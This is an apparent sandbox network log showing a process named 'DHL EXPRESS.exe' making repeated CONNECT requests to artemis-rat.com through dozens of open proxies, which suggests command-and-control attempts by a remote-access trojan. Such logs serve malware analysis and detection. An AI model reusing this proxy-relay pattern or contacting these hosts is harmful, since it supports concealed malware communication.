Mar 11, 2024 18:36:51.471647024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.8	52104	142.54.229.249	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.471654892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.8	53918	47.56.110.204	8989	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.482624054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.786778927 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 17:21:43 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.8	53144	184.170.248.5	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.515573025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.8	53785	64.56.150.102	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.516505003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.768690109 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 37 3a 33 36 3a 35 31 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 17:36:51 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.8	53618	189.240.60.168	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.529196978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.883512974 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.8	53547	45.65.65.18	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.688885927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.8	53938	139.162.151.176	9050	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.697494984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:55.344780922 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.8	53603	112.201.182.220	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.697767019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.517421007 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.8	53999	104.17.239.10	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.698266029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.852796078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.8	53590	180.178.104.110	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.698447943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.8	53100	117.160.250.163	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.698786974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.720402002 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 17:36:52 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.8	53917	103.163.51.254	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.698872089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.8	54018	104.19.106.122	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.699419022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.853826046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.8	54024	104.17.16.87	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.699490070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.853966951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.8	53933	138.2.73.157	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.699600935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.8	53966	5.161.231.34	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.700309992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.917942047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.8	54022	162.214.102.195	50366	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.700311899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.206511021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.879698038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967782974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097353935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.198456049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.300688028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.564459085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.909478903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.8	53659	45.11.95.166	6004	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.702027082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.452194929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.409882069 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.8	53656	62.109.0.18	24101	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.702107906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.693217039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.706650019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
